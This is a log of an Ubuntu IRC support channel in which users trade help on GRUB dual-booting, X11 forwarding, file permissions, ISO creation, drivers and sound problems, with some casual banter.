[04:34] <boinker> so ima have to look into the bootlist and search tutorials like they said
[04:34] <Ashfire908> Anyone know how to use a graphical program remotly (x11 forwarding over ssh?) when the server doesn't have xorg-xserver?
[04:34] <tonyduke> my video card is ati1600, Pulshion, i did run your problem before.
[04:34] <boinker> well ususally when i install ubuntu freshly
[04:34] <boinker> i can see the option to boot into windows
[04:34] <hanasakiRemote> what package as the ubuntu installer program that can be run from gnome.. ie the same one from the desktop cd
[04:34] <boinker> after its done installing of course
[04:34] <usr13> boinker: The new one you just put in... Is it MS Windows?
[04:34] <boinker> yeah
[04:34] <boinker> it is usr
[04:34] <mwright1> Hello - can someone recommend some simple to use backup software, incremental differential - -something like rsnapshot.org
[04:34] <usr13> boinker: Or Linux?
[04:34] <sFEARs> yeah.. the install detects the local disk
[04:35] <boinker> yeah i know it works like a charm
[04:35] <sFEARs> and all the os on the local disk.. and then loads directions into grub
[04:35] <boinker> but it doesnt detect it after its installe dwhich sucks bad
[04:35] <sFEARs> yeah.. it's easy to edit the menu file though
[04:35] <boinker> i dont like missing with configuration files
[04:35] <sFEARs> well your using the wrong OS
[04:35] <Ashfire908> :)
[04:35] <Pulshion> tonyduke: did solve it?
[04:36] <tonyduke> yep
[04:36] <boinker> cuz one slip up and man ur on a one week journey in recuperating ur hard drive
[04:36] <Ashfire908> Anyone know how to use a graphical program remotly (x11 forwarding over ssh?) when the server doesn't have xorg-xserver?
[04:36] <systemd0wn> fujin, got errors. think you could help?
[04:36] <lameofdog> my old soundblaster audigy isn't playing nice. just installed ubuntu and i have no sound
[04:36] <boinker> lame
[04:36] <tonyduke> i installed the driver 8.42.3
[04:36] <boinker> they suck
[04:36] <usr13> boinker: Does the new drive have a boot loader in it's MBR?
[04:36] <boinker> creative sucks
[04:36] <boinker> i hate them
[04:36] <boinker> oh nah
[04:36] <boinker> i dont think so usr
[04:36] <sFEARs> yes.. it proally does
[04:36] <usr13> boinker: If so, it will be much easier to just use BIOS to switch to it.
[04:36] <boinker> u mean mbr that linux would put into it
[04:36] <boinker> oh i see
[04:37] <boinker> yeah i know
[04:37] <Pulshion> hi, could someone please help me getting my ati card to work in gutsy, it used to work, but now it doesnt work after reinstalling gutsy, i followed the same guide but now i get mesa
[04:37] <boinker> but it stucks having to switch in the bios all the time i could do that thats what i been doing
[04:37] <lameofdog> weird thing is ubuntu found the card, but i'm not getting any sound
[04:37] <boinker> i mean it sucks not stucks
[04:37] <sFEARs> well.. he's got a point.. how is the sata drive connected?
[04:37] <boinker> thru a sata lol
[04:37] <tonyduke> you know, the ati restricted driver in the gusty version is lower than that in the feisy version
[04:37] <Ashfire908> Anyone know how to use a graphical program remotly (x11 forwarding over ssh?) when the server doesn't have xorg-xserver?
[04:37] <usr13> boinker: Is the new drive MS Windows?
[04:37] <boinker> a sata cable from sata 0 in the motherboard or stat one
[04:37] <boinker> yeah it is
[04:37] <boinker> xp
[04:38] <boinker> i would think u just plug it in and then after a reboot or 2 boom
[04:38] <boinker> u got it
[04:38] <jorvis> anyone know what the default java with 7.10 is?
[04:38] <usr13> XP will only boot if it is first partition on primary
[04:38] <tonyduke> i use the 8.42.3 to replace the default ati driver shipped with gutsy
[04:38] <boinker> but linux is so secure which is awesome that it doesnt work like that
[04:38] <usr13> boinker: You will need to use BIOS to boot to it.
[04:38] <boinker> oh wow
[04:38] <boinker> well ima see
[04:38] <ashu> how do i install a .tar.gz package?
[04:39] <Pulshion> hi, could someone please help me getting my ati card to work in gutsy, it used to work, but now it doesnt work after reinstalling gutsy, i followed the same guide but now i get mesa
[04:39] <boinker> ima take the mans advice and do google the tutorial and mess with the boot.list
[04:39] <jorvis> ashu: it's not a package
[04:39] <ashu> .deb packages are easy to install, but i can't work out the .tar.gz ones
[04:39] <sFEARs> is that the same as IDE?
[04:39] <jorvis> ashu: tar -xvzf whatever.tar.gz
[04:39] <ashu> jorvis: sorry, whatever it is...
[04:39] <jorvis> ashu: that will probably create a directory.  you'll have to go inside it and hope for a README
[04:39] <tonyduke> your package's name, ashu
[04:40] <usr13> boinker: http://aroundcny.com/technofile/texts/tec100399.html
[04:40] <ashu> jorvis: you mean after i download it?
[04:40] <sFEARs> bios would proally work.. more functional to make a boot menu though
[04:40] <waterbucket> sFEARs: is what the same as IDE?
[04:40] <jorvis> ashu: yes
[04:40] <sFEARs> sata?
[04:40] <waterbucket> no, totally different
[04:40] <Ashfire908> Anyone know how to use a graphical program remotly (x11 forwarding over ssh?) when the server doesn't have xorg-xserver?
[04:40] <ashu> tonyduke:i am downloading the netscape browser
[04:40] <waterbucket> IDE = PATA
[04:40] <P_Kable> I need help to get my webcam working please. ID 05a9:8519 OmniVision Technologies, Inc.
[04:41] <boinker> thanks usr
[04:41] <boinker> i know about vmware
[04:41] <boinker> i personally use virtual box
[04:41] <tonyduke> i mean the "whatever" refers to your package's name
[04:41] <jorvis> Ashfire908: can't
[04:41] <Dr_willis> Ashfire908,  ssh -X remote.ip, then run the app 'should' work
[04:41] <boinker> since its free and easier to install and u dont have to recompile the kernal
[04:41] <squid808> MasterShrek: i've read through the grub links you sent, and all i see is how to find where the grub is installed, but i don't see how it says to change the drive it's on, even under the 'Changing the disk GRUB is installed to' section; it looks like it shows only how to FIND where it's installed
[04:41] <Kragnerac> !rhythmbox
[04:41] <ubotu> Audio (Ogg, MP3...) players: Audacious, Banshee, Beep Media Player, Listen, Quod Libet, Rhythmbox, Exaile, XMMS (GTK/Gnome based) and Amarok, JuK (Qt/KDE based).  Video players: Totem, Xine, MPlayer, VLC, Kaffeine - See also !codecs
[04:41] <Ashfire908> Dr_willis, said it failed.
[04:41] <ashu> tonyduke: ok
[04:42] <jorvis> Ashfire908: the -X or -Y options tell the server to forward X, but it can't do that if it's not installed.
[04:42] <ashu> tonyduke: jorvis: thanks! :)
[04:42] <Dr_willis> Ashfire908,   You could always resort to vnc.  it may be the remote box has X forwarding disabled.
[04:42] <Dr_willis> of course how do you have X apps installed with no X.....
[04:42] <sFEARs> squid.. why do you want to change the drive?
[04:42] <boinker> i also wished there was an easier way to make other OS boot first in ubuntus grub screen...like just a move up or move down feature cuz sometimes i dont like to baby sit and wait for the pc to boot into grub so i could load into windows and such.. i hate windows but i use it for my 3d programs that im used to
[04:43] <sFEARs> yeah.. boinker.. that's the menu.lst file
[04:43] <Dr_willis> seems like the dependency stuff of the apt system would grab whats needed
[04:43] <nazeer> Hello, can anyone help me out with sound on Gutsy
[04:43] <boinker> oh yeah fear
[04:43] <sFEARs> that's the grub boot menu
[04:43] <boinker> all i would have to do is just copy the windows portion above the ubuntus portion right?
[04:43] <Dr_willis> boinker,  there is a 'save default' feature that can make it rember the last selected OS.
[04:43] <iud> err ubuntu pisses me off. why can't it be all things to all people! i want to do a simple remaster. knoppix has awsome documentation for this :(.  i need ubuntu though.
[04:43] <sFEARs> you just have to add a line that points to your drive... hd0 or hd1 or whatever
[04:43] <boinker> wow im dumb
[04:43] <boinker> wheres that feature at
[04:43] <DShepherd> has anyone gotten multimonitors to work in gutsy with an nvidia card? If so can you tell me how please? nvidia geforce go 7600 here
[04:43] <squid808> sFEARs: i accidentally installed it to my slave drive, and i need to use the slave cable to hotswap using a windows program, thus needing that slave slot...
[04:43] <boinker> i never noticed it
[04:43] <sFEARs> i might have a help file with that one
[04:44] <boinker> cool fear
[04:44] <usr13> Ashfire908: You will need "X11Forwarding yes"  in sshd_conf  of client
[04:44] <anathematic> how do i view the permissions i've set on a folder / file?
[04:44] <Ashfire908> jorvis, what does it need? xorg-xserver right?
[04:44] <anathematic> (console) ubuntu server
[04:44] <sFEARs> ohhh squid
[04:44] <Dr_willis> iud,   I do recall some linux-live scripts that could i think turn about any installed system into a live cd.
[04:44] <squid808> ^_^
[04:44] <usr13> anathematic: ls -l
[04:44] <jorvis> anathematic: ls -l blah
[04:44] <meezfohgi> hello all
[04:44] <systemd0wn> Question regarding laptop LCD brightness.  I can manually change it in the /proc/... but gnome applet doesn't allow me to change it, how can i go about making this more convenient?
[04:44] <iud> Dr_willis yea, i want to do it from a live-cd though without ever installing it.
[04:45] <jorvis> Ashfire908: probably, I'm not completely familiar with all ubuntu packages
[04:45] <meezfohgi> how set slackware to grub menu
[04:45] <anathematic> mmm
[04:45] <Dr_willis> iud,    good luck then. :)
[04:45] <nazeer> it stopped working after upgrading to Gutsy from a previous version
[04:45] <Ashfire908> usr13, Dr_willis, x forwarding is enabled
[04:45] <iud> Dr_willis, i've used the knoppix directions to remaster other distributions actually. it doesn't work 100% but...
[04:45] <jorvis> systemd0wn: most laptops have it on the keyboard.  For me it's Fn + up or down arrows
[04:45] <anathematic> does anyone have any experience using automysqlback?
[04:45] <anathematic> i'm getting a permission denied error but i've enabled all permissions to just be 777 =\
[04:45] <systemd0wn> jorvis, ya those dont work.  dmesg tells me to assign them.
[04:46] <usr13> Ashfire908: Not sure what your trying to do.... but... well tell me.
[04:46] <meezfohgi> grub not detect my slack ware partition
[04:46] <squid808> sFEARs: any ideas?
[04:47] <meezfohgi> anyone please
[04:47] <sFEARs> squid.. that file might help
[04:47] <mwazny> does any1 know how to navigate to a different harddrive from the terminal?
[04:47] <Ashfire908> usr13, i have a server, and i want to run gproftpd on it, but i don't want xorg installed completely, because... i don't want it on there. i would like to forward it to my desktop and do it that way.
[04:47] <Ashfire908> mwazny, cd /mounted/drive
[04:47] <usr13> meezfohgi: http://www.ntlug.org/BP-trryhend/TripleBootProject?action=view
[04:47] <mwazny> o ok
[04:47] <ingsoc> can anyone help with installing wine 0.9.48, seems the latest in the repo is 0.9.47
[04:47] <Pulshion> hi, could someone please help me getting my ati card to work in gutsy, it used to work, but now it doesnt work after reinstalling gutsy, i followed the same guide but now i get mesa
[04:48] <Dr_willis> ingsoc,  at one time there was a 'latest wine release' alterantive repository. But not sure if its still around.
[04:48] <meezfohgi> usr13:thank
[04:48] <Dr_willis> !wine
[04:48] <ubotu> WINE is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information, and see !AppDB for application compatibility.
[04:48] <usr13> meezfohgi: You need line root=/dev/hda#
[04:48] <ingsoc> hmm, i'll take a look
[04:49] <ingsoc> i was using the repo from winehq
[04:49] <ingsoc> if that's what you're referring to
[04:49] <sFEARs> squid.. i can't pm right now for some reason
[04:49] <sFEARs> Changing the Disk that Grub is installed to
[04:49] <sFEARs> Consider the following problem: You have two hard drives, one SATA (/dev/sda), the other PATA (/dev/hda). Your BIOS seems to think that PATA drives should always be booted in preference of SATA drives, but you want to boot from the SATA drive. Grub can work around this problem
[04:49] <MasterShrek> sFEARs your nick needs to be regged
[04:49] <mwazny> hmm actually that didn't work
[04:49] <masmota> what cmd do i use to configure a pppoe connection in gutsy?  (or what pkg do i need?)
[04:50] <meezfohgi> usr13:ok thank i will try..
[04:50] <mwazny> it's cd /mounted/{name of drive} right?
[04:50] <squid808> sFEARs: i read that part, but i didn't see where it said to actually reinstall or move it... just how to find where it's installed.
[04:50] <Dr_willis> ingsoc,  http://wine.budgetdedicated.com/ is the site i see mentioned int eh wiki. and yes they do have gutsy repos. :) the wiki is not up to date however
[04:50] <badkitty> Is using the 64bit version of gutsy worth the risk, or is it best to stick with x86 architecture?
[04:50] <Dr_willis> badkitty,  i wouldent bother.
[04:50] <asdf> well wasn't that fun
[04:50] <MasterShrek> badkitty what risk?
[04:50] <squid808> maybe i'm missing something, i'll read again
[04:50] <asdf> damit!
[04:50] <Ashfire908> usr13, can i do that
[04:50] <mwazny> it said no such file or directory
[04:50] <waterbucket> badkitty: not unless you need more ram
[04:50] <badkitty> MasterShrek: well I had a bunch of problems with downloading software and getting things working
[04:51] <anathematic> when i apple chmod to a folder does it cover all the sub folders by default?
[04:51] <waterbucket> badkitty: I saw some benchmarks that the x86 is about the same speed
[04:51] <usr13> Ashfire908: I've not used gproftpd.  But I agree, that an Xserver has no place on a server.
[04:51] <Dr_willis> anathematic,  no.
[04:51] <Extravert> whats option in gcc to compile with mingw???
[04:51] <asdf> squid.. the file i tried to send you has all the info in it
[04:51] <badkitty> waterbucket: figured as much... nest stay with what I know works atleast
[04:51] <asdf> let me see if i can find the page
[04:52] <DShepherd> anathematic, use chmod -R for directories  below
[04:52] <asdf> once i get my nick back
[04:52] <anathematic> Dr_willis: well i guess that makes sense for my problem, what would be the extra parameter to enable that?
[04:52] <mwazny> hmm ok I'll try again: anyone know the path to a different hard drive, named, say, hdb1?
[04:52] <anathematic> thanks DShepherd =)
[04:52] <usr13> Ashfire908: Is it a web server?
[04:52] <Ashfire908> usr13, gproftpd is a graphical manager for ProFTPd.
[04:52] <Ashfire908> usr13, yes
[04:52] <DShepherd> anathematic, man chmod helps :-)
[04:52] <Ashfire908> usr13, a local one.
[04:52] <sFEARs> alright
[04:52] <Extravert> !
[04:52] <anathematic> woo it works
[04:52] <Extravert> !mingw
[04:52] <usr13> Ashfire908: Why not just use gftp on client?
[04:53] <usr13> Ashfire908: Does gproftpd require an X server?
[04:53] <usr13> Ashfire908: Surely not.
[04:53] <MasterShrek> no Ashfire908 i dont belive so
[04:53] <squid808> sFEARs: i think i may have figured it out... though i'd want to run it by you to make sure i'm not screwing something up
[04:54] <sFEARs> https://help.ubuntu.com/community/GrubHowto
[04:54] <sFEARs> there.. that's the page
[04:54] <Ashfire908> usr13, gproftpd is a gracphical admin for proftpd
[04:54] <vincent_> hi all I wonder about razr 2 support for linux. given that the phone is linux based.  I guess the support is soso without official support kinda ironic eh?
[04:54] <squid808> right, i've been reading that page ^_^ MasterShrek sent the link
[04:54] <sFEARs> well.. i only know enuf to break stuff.. but you can run it by me anyway
[04:55] <Ashfire908> usr13, the package shows a very minimal requirement
[04:55] <mwazny> nm found it
[04:55] <mwazny> it's /media
[04:55] <Extravert> whats option to compile with gcc and mingw????
[04:56] <Ashfire908> usr13, is there like a xorg-xserver that is like small and kinda for what i want to do?
[04:56] <sFEARs> just because the OS is linux based doesn't mean the company doesn't have proprietary software running on top of it.. at least i don't think so
[04:56] <hippodog> thanks dissection. it worked. for the most part anyway. it says 1400 x 900 instead of 1400 x 1050 but i think it still looks the same as it did. its hard to remember.i got used to things being big
[04:56] <boinker> hey will this work for any PC.? i believe my hard drive is labeled sda rather than hd0 ...title Windows XP <your> Edition
[04:56] <boinker> root (hd0,0)
[04:56] <boinker> chainloader+1
[04:56] <boinker> savedefault/boot (Whichever works for you)
[04:56] <usr13> Ashfire908: I don't know, and have yet to find out, but would imagine that it would not require anything like xorg
[04:56] <masmota> looking for someone on dsl to tell me what pkg i need to setup my pppoe connection..?
[04:57] <squid808> ok then. I ran the grub terminal and then 'find /boot/grub/stage1', and it returned '(hd1,1)'. in my /boot/grub/device.map, i have two listed, hd0 (/dev/sda) and hd1 (/dev/sdb)
[04:57] <Extravert> wth is going on
[04:57] <Ashfire908> usr13, ...so any clue what it would need? it's gtk based i think.
[04:57] <HackXP> Extravert, netsplit.
[04:57] <Ashfire908> Extravert, server on strike lol
[04:57] <squid808> now, in my menu.lst file, right now it says the default grub root device is groot=(hd0,1)
[04:58] <Dr_willis> (hd1,1) would be sdb2 I belive in yoru case squid808  - hd1,0 would be sdb1
[04:58] <squid808> do i just change that to =(hd1,1)
[04:58] <Dr_willis> hd0,1 would be  the 2nd partition on the first drive.
[04:58] <usr13> Ashfire908: apt-cache search gproftpd
[04:58] <MTecknology> I'm repartitioning somebodies HD - but idk how to update their fstab file... I knew how to when the drives were referenced to by /dev/* - but now it's these UUID's... how do I work with these?
[04:58] <Dr_willis> squid808,  i think you do want to use hd1,1
[04:58] <hippodog> thanks for the help dissection
[04:58] <sFEARs> make sure you save a copy of your old one squid
[04:58] <sFEARs> in case it doesn't work
[04:58] <Dr_willis> squid808,  you can edit the grub menu/stuff from the grub menu and test them out. :)
[04:58] <Dr_willis> !uuid
[04:59] <Dr_willis> MTecknology,  you can still use the old /dev/whatever type entries
[04:59] <Extravert> Need help with mingw
[04:59] <squid808> if i change it to hd1,1 and it's wrong, what's the worst that can happen
[04:59] <Dr_willis> MTecknology,   UUID is handy in some cases.. has issues in others. :)_
[04:59] <MTecknology> Dr_willis: so just change them all to that?
[04:59] <sFEARs> the worst you say
[04:59] <Dr_willis> squid808,  it gives an error message at boot.   and you can edit the grub line to try the others
[04:59] <kmacreturns> would anyone be willing to help me set up my apache web server?
[04:59] <Dr_willis> MTecknology,  no need to change them all. Unless you want to.
[05:00] <sFEARs> the worst that can happen.. the absolute value of -x
[05:00] <squid808> well, let's try that then.
[05:00] <sFEARs> divided by 0
[05:00] <Dr_willis> MTecknology,  you can find the uuid of the drives several ways,  ls -l /dev/disk-by/uuid (i think) is one way
[05:00] <kahrytan> MTecknology, Both ways work
[05:00] <sFEARs> yup.. that's it.. |-x|/0
[05:00] <usr13> Ashfire908: apt-get install gproftpd    should install it and pick up the list of dependicies [that you just saw in the output of apt-cache showpkg gproftpd]
[05:00] <squid808> erm, i edit the part not in the # comments right
[05:00] <MTecknology> Dr_willis: I'll try that - thanks
[05:00] <Dr_willis>  ls -l /dev/disk/by-uuid/
[05:00] <Dr_willis> :)
[05:00] <kmacreturns> would anyone be willing to help me set up my apache web server? ....sorry to be a nag
[05:01] <noblelover> is there a way for a vista computer to connect to the ubuntu computer via remote desktop?
[05:01] <Benalex> I am trying to backup all the packages that have been downloaded, So I found AptonCD, will it backup the security updates too?
[05:01] <badkitty_> kmacreturns: let me seee if i have my link for that
[05:01] <kmacreturns> k thanks
[05:01] <MasterShrek> noblelover vnc
[05:01] <sFEARs> noblelover.. good question.. i have the perfect answer
[05:01] <sFEARs> i don't know
[05:02] <Dr_willis> remote desktop under linux is using the vnc protocal. so any vncviwer can work.
[05:02] <noblelover> thank you
[05:02] <Gnea> oh split-sh!t, the upgrade from feisty to gutsy is blowing some hairy goat nads.
[05:02] <Ecalix> i have forwarded all traffic through an ssh tunnel using windows, but how would you accomplish that in *nix?
[05:02] <sFEARs> yup
[05:02] <Gnea> !gutsy
[05:02] <badkitty_> kmacretunrs: Try this one or ...
[05:02] <badkitty_> http://www.howtoforge.com/ubuntu_debian_lamp_server
[05:02] <Gnea> gdm won't work right, but X by itself will
[05:02] <Dr_willis> noblelover,  i find the ultravnc server/client for windows works nicely
[05:02] <sFEARs> you proally wouldn't be able to use windows remote desktop
[05:02] <Gnea> it shouldn't be this way, it should simply work right
[05:02] <sFEARs> but there is proally some kind of program to do that
[05:02] <badkitty_> http://fosswire.com/2007/05/29/installing-and-configuring-lamp-on-ubuntu-part-1/
[05:03] <kmacreturns> thanks
[05:03] <Benalex> I am trying to backup all the packages that have been downloaded, So I found AptonCD, will it backup the security updates too?
[05:03] <Ashfire908> usr13, i traced back throught stuff and found gtk bin. i'm going to try that
[05:03] <kmacreturns> i'll try it
[05:03] <ShadowApex> Hey I was wondering if someone could help me with a big sound problem I've been having
[05:03] <badkitty_> kmacreturns: cool I'm a dummy and I figured it out from one of those
[05:03] <meezfohgi> i have problem to slackware
[05:03] <Gnea> !sound
[05:03] <usr13> Ashfire908: You saw the list of dependencies, right?
[05:03] <Gnea> meezfohgi: #slackware
[05:03] <meezfohgi> i have problem to boot slackware
[05:04] <Gnea> meezfohgi: wrong channel
[05:04] <badkitty_> Everyone having sound problems with gutsy??
[05:04] <Ashfire908> usr13, they are all met
[05:04] <Gnea> badkitty_: works fine here
[05:04] <usr13> Ashfire908: Doesn't look like it needs Xserver so, I say go for it and see...
[05:04] <ShadowApex> Gnea: it's not an ordinary sound problem, I've already tried the Comprehensive Sound Guide of Ubuntu Forums
[05:04] <barleyman> Quick question about vpn and default gateway
[05:04] <Gnea> badkitty_: it's gdm that's messed up for me
[05:04] <badkitty_> Gnea: lol
[05:04] <Gnea> ShadowApex: to say what it is
[05:04] <usr13> Ashfire908: Let us know how it works.  :)
[05:04] <sFEARs> gutsy.. i'm having sound problems with windows.. but if i could get my wireless working on ubuntu... i'd proally have sound problems with that too
[05:04] <Gnea> ShadowApex: s/to/so/g
[05:04] <Gnea> badkitty_: it's really pissing me off too
[05:04] <meezfohgi> right now i have install ubuntu..and slackware
[05:05] <Ashfire908> usr13, nope
[05:05] <badkitty_> gnea: what type of card do you have
[05:05] <Gnea> meezfohgi: we can help you with ubuntu in here
[05:05] <Gnea> badkitty_: sound or gfx?
[05:05] <meezfohgi> i can boot ubuntu
[05:05] <squid808> this may be silly, but before booting i browsed the rest of the menu.lst file, and i noticed that ubuntu and windows had entries with the root listed as (hd0,1), which is where it says groot=(hd0,1). doesn't that mean they're already on the same drive then? or is it just an example because it's in # comments.
[05:05] <badkitty_> gnea gfx
[05:05] <usr13> Ashfire908: No to what?
[05:05] <tonyduke> what is pissing me off is the Ati card with twin head.
[05:05] <kahrytan> Raise your hand if you are new to Linux.
[05:05] <sFEARs> yeah.. sounds like an example squid
[05:05] <barleyman> I connect to a ppp0 network through vpn and everything works o.k. but I would like to change my default gateway on the vpn network from 10.0.1.2 to 10.0.1.1,
[05:05] <barleyman> How
[05:06] <Ashfire908> usr13, install the binary didn't help
[05:06] <usr13> Ashfire908: What did you install?  gproftpd?
[05:07] <badkitty_> tonyduke: atleast ati seems to be better supported than in the past
[05:07] <usr13> Ashfire908: Did you use apt-get to install it?
[05:07] <Dr_willis> squid808,  the menu.lst file is a little confusing because SOME of the #comments are settings for the 'update-grub' program. Yes.. comments may be comments for GRUB.. but not for 'update-grub' :)
[05:07] <Yachi> how can i make an iso of a disc?
[05:07] <Ashfire908> usr13, no aptitude.
[05:07] <barleyman> anybody know about gateways and VPN?
[05:07] <Dr_willis> Yachi,  dd if=/dev/cdrom of=cdrom.iso
[05:07] <Yachi> yay!
[05:07] <ShadowApex> Does anyone know how to make a certain sound card the primary sound card on the system?
[05:07] <infidel_> anyone else get the feeling pclinuxos pads the results at distrowatch.com?
[05:07] <Dr_willis> Yachi,  thats normally how i do it.
[05:08] <usr13> Ashfire908: Does it require special client software?
[05:08] <Yachi> but now i need to find out how to add a location to a user's write area :/
[05:08] <sFEARs> shouldn't it be then=cdrom.iso
[05:08] <boinker> man i cant blieve the american dollar went down like that
[05:08] <sFEARs> but that's just me
[05:08] <Yachi> that was badly explained :/
[05:08] <squid808> Dr_Willis: does that mean i can edit the line that defines the groot and it will take effect?
[05:08] <boinker> bus is messing up the country
[05:08] <boinker> bush*
[05:08] <usr13> Ashfire908: proftpd is already installed?
[05:08] <badkitty_> boinker: thats a given
[05:09] <ShadowApex> Anyone know how to make a certain sound card the primary sound card on the system?
[05:09] <sFEARs> going down.. i'm going to get some head from the #^ck!*g girl!
[05:09] <usr13> Ashfire908: May need to restart the ftpserver
[05:09] <Yachi> YOUR a given
[05:09] <sFEARs> hold on Yachi
[05:09]  * Yachi holds on
[05:09] <boinker> i know
[05:09] <desertc> Anyone familiar with this new Ubufox extension for Firefox?  I gave it a try, installed a couple packages, now they do not show up in either Firefox or the package manager.  What's up?  I am looking everywhere for the Tab extension, but it does not seem to be anywhere.
[05:09] <sFEARs> http://www.wikihow.com/Create-an-ISO-File-in-Linux
[05:09] <Yachi> shit i thought this was efnet
[05:10] <Yachi> and question 2...
[05:10] <Yachi> i need to be able to write to a folder with this user
[05:10] <sFEARs> is there a doctor in the house
[05:10] <ShadowApex> Can anyone help me with a USB based sound problem?
[05:10] <usr13> Ashfire908: man gproftpd
[05:11] <usr13> What is a USB based sound problem?
[05:11] <Gh0stee> Alright, I need help please. I rebooted yesterday and when I rebooted GRUB frooze at Stage 1.5.... Either how do I fix this? Is one of my drives dead?
[05:12] <ShadowApex> My onboard sound card is located on the USB bus; so Ubuntu sees it as a USB sound device
[05:12] <Gnea> badkitty_: nvidia legacy - if i nail gdm and type X by itself, it's just fine
[05:12] <Gnea> badkitty_: it gets worse - looks like it's unloading the synaptics driver as soon as everything is up
[05:12] <Gnea> maybe that's my problem
[05:12] <Ashfire908> usr13, doesn't contain anything useful
[05:13] <badkitty_> gnea: eesh
[05:13] <badkitty_> gnea: have you seen or played with E17?
[05:13] <Malfist> I have a problem with ALSA, it just locks and there is no way I can fix it without rebooting. This has started randomly sense updating to Gusty. I think there is a very very slim chance that I caused it by playing with ALSA's device configurations. Is there anyway I can reset them
[05:14] <sFEARs> rip & reinstall ALSA
[05:14] <ltku1> Can I upgrade a system from 32 bit to 64 bit directly?
[05:14] <Malfist> rip?
[05:14] <usr13> Ashfire908: Is it running?    ps aux |grep gproftpd
[05:14] <sFEARs> uninstall & reinstall
[05:14] <amazen720> sFEARs: thanx alot i use magic ISO with wine converted the uif image to ISO and then use gmount to mount the iso and then extracted it
[05:14] <sFEARs> i think not ltku1.. 64 bit is the processor
[05:14] <dissection> Anyone here using Ubuntu on a Sony Vaio Laptop?
[05:14] <Malfist> sFEARs, isn't there a reconfigure package command?
[05:14] <badkitty_> ltku1: what for?
[05:14] <Gnea> badkitty_: freenode sucks a lot of arse tonight
[05:14] <sFEARs> cool
[05:14] <punzada> what's that command that generates the xorg file for you?
[05:14] <sFEARs> you must have missed the other like i gave you.. might have been easier
[05:14] <sFEARs> let me see if i can find it for you for next time
[05:15] <badkitty_> gnea: you didn't like the splits earlier??
[05:15] <ShadowApex> punzada: you can do "sudo dpkg-reconfigure xserver-xorg"
[05:15] <usr13> It may need to be started manually.  May need to add command to start it in one of the startup scrupts, maybe just /etc/rc.local
[05:15] <Ashfire908> usr13, huh. yea.
[05:15] <crdlb> jewbilee: congrats
[05:15] <punzada> that's it, thanks ShadowApex :)
[05:15] <ShadowApex> =P your welcome
[05:15] <badkitty_> gnea: E17???
[05:15] <jewbilee> crdlb: how odd
[05:15] <ShadowApex> you're*
[05:15] <Gnea> badkitty_: no, i got on to get help just as they happened. so between gutsy not working right and netsplits....
[05:15] <Gnea> badkitty_: what about it?
[05:15] <usr13> Ashfire908: Does this server have root user account?  If not, sudo proftpd  ???
[05:16] <dissection> I can't get the headphone jack to work on my laptop. Please help me with this. Anyone here with a Vaio laptop?
[05:16] <badkitty_> gnea: I asked if you had seen it or played with it at all
[05:16] <Ashfire908> usr13, oh. duh. no. it's grep proftpd
[05:16] <Ashfire908> usr13, what do you think i did
[05:16] <kerbau_> i cannot boot my slackware
[05:16] <Gnea> badkitty_: i just saw lots of question marks... yeah, i've been using E for years
[05:17] <kerbau_> anyone plase
[05:17] <badkitty_> gnea: are you using it now in ubuntu?? or u sticking with  gnome?
[05:17] <usr13> Ashfire908:  Do you have root user enabled?  or not?
[05:17] <NotSoGutsy> I'm having some graphics problems, the typical nvidia-driven black windows and such, but they're getting worse
[05:17] <ltku1> My CPU supports 64 bit . But I have install a 32 bit Ubuntu. I want to change it to a 64 bit version.
[05:17] <Gnea> badkitty_: sticking with gnome for now - i need a stable system
[05:17] <Ashfire908> usr13, no. it's ubuntu and i left sudo in place
[05:17] <Gnea> NotSoGutsy: is gdm crashing on you continuously?
[05:17] <badkitty_> ltku1: dont do it
[05:17] <ShadowApex> Could anyone please help me with a problem with my sound card? It's seen as a USB sound device by Ubuntu and will only play through Amarok; it won't play any other system sounds or anything
[05:18] <badkitty_> gnea: i see... I heard some great things about e17, thats why i was asking, never tried it out
[05:18] <noob69> yay got my gnome interface install
[05:18] <Gnea> ShadowApex: can't help you unless you provide more info
[05:18] <sFEARs> wait.. that was for the docx format.. nevermind.. awesome, glad that worked for you amazen
[05:18] <Gnea> !ask

[05:18] <Xman89_> Does anyone know of a good SSH client to use with Cisco devices?
[05:18] <usr13> Ashfire908: Is there an executable;  gproftpd ?  If so, it probably needs to be started.
[05:18] <systemd0wn> jorvis, ya those dont work.  dmesg tells me to assign them.
[05:18] <systemd0wn> oops
[05:18] <Gnea> badkitty_: it's worth trying :)
[05:18] <systemd0wn> Question regarding laptop LCD brightness.  I can manually change it in the /proc/... but gnome applet doesn't allow me to change it, how can i go about making this more convenient?
[05:18] <usr13> Ashfire908: And if   sudo gproftpd   does not work, you might need to enable the root user account.
[05:19] <badkitty_> gnea: I first got wind of it by following a link to gOS
[05:19] <Dr_willis> systemd0wn,  keybord shortcuts dont work eh?
[05:19] <toot> hi i need help with the live cd
[05:19] <Ashfire908> usr13, i'm using it right. it can't start due to a need for x something
[05:19] <badkitty_> toot: still not working eh
[05:19] <noob69> anyone has any good book recommendation regarding Ubuntu LAMP
[05:19] <Dr_willis> systemd0wn,  could make some scripts/icons that change it :) i guess..
[05:19] <systemd0wn> Dr_Willis. no and neither does gnome-brightness-applet
[05:19] <toot> yep
[05:19] <Gnea> badkitty_: i first got wind of it a decade ago when i was looking for something nicer than fvwm
[05:19] <systemd0wn> Dr_willis. thanks
[05:19] <badkitty_> noob69: 1 sec
[05:19] <Ashfire908> noob69, apache2 mysql stuff?
[05:19] <NotSoGutsy> Gnea :: I don't think so, but not sure
[05:19] <usr13> Ashfire908: Please rephrase.
[05:19] <ShadowApex> Gnea: well when I run lsusb: my sound is seen as "Bus 001 Device 008: ID 0d8c:0201 C-Media Electronics, Inc. ";
[05:19] <sFEARs> toot?
[05:19] <noob69> yes
[05:19] <systemd0wn> Dr_willis. for nothin
[05:19] <systemd0wn> :P
[05:20] <Ashfire908> usr13, i gtg
[05:20] <NotSoGutsy> Gnea :: I just can't play games or movies, or have many windows open
[05:20] <ShadowApex> Gnea: and when I run aplay -L: "card 1: default [PnP Audio Device        ], device 0: USB Audio [USB Audio]"
[05:20] <badkitty_> noob69: http://fosswire.com/2007/05/29/installing-and-configuring-lamp-on-ubuntu-part-1/
[05:20] <usr13> Ashfire908:   Are you getting an error when trying to start gproftpd?
[05:20] <toot> any help with live cd?
[05:20] <Gnea> NotSoGutsy: the server hiccups and crashes on me multiple times in a row, really fast
[05:20] <badkitty_> noob69: http://www.howtoforge.com/ubuntu_debian_lamp_server
[05:20] <sFEARs> lots of help with live cd
[05:20] <ShadowApex> Gnea: I tried following a comprehensive sound guide but when I enter "alsamixer" I get an error
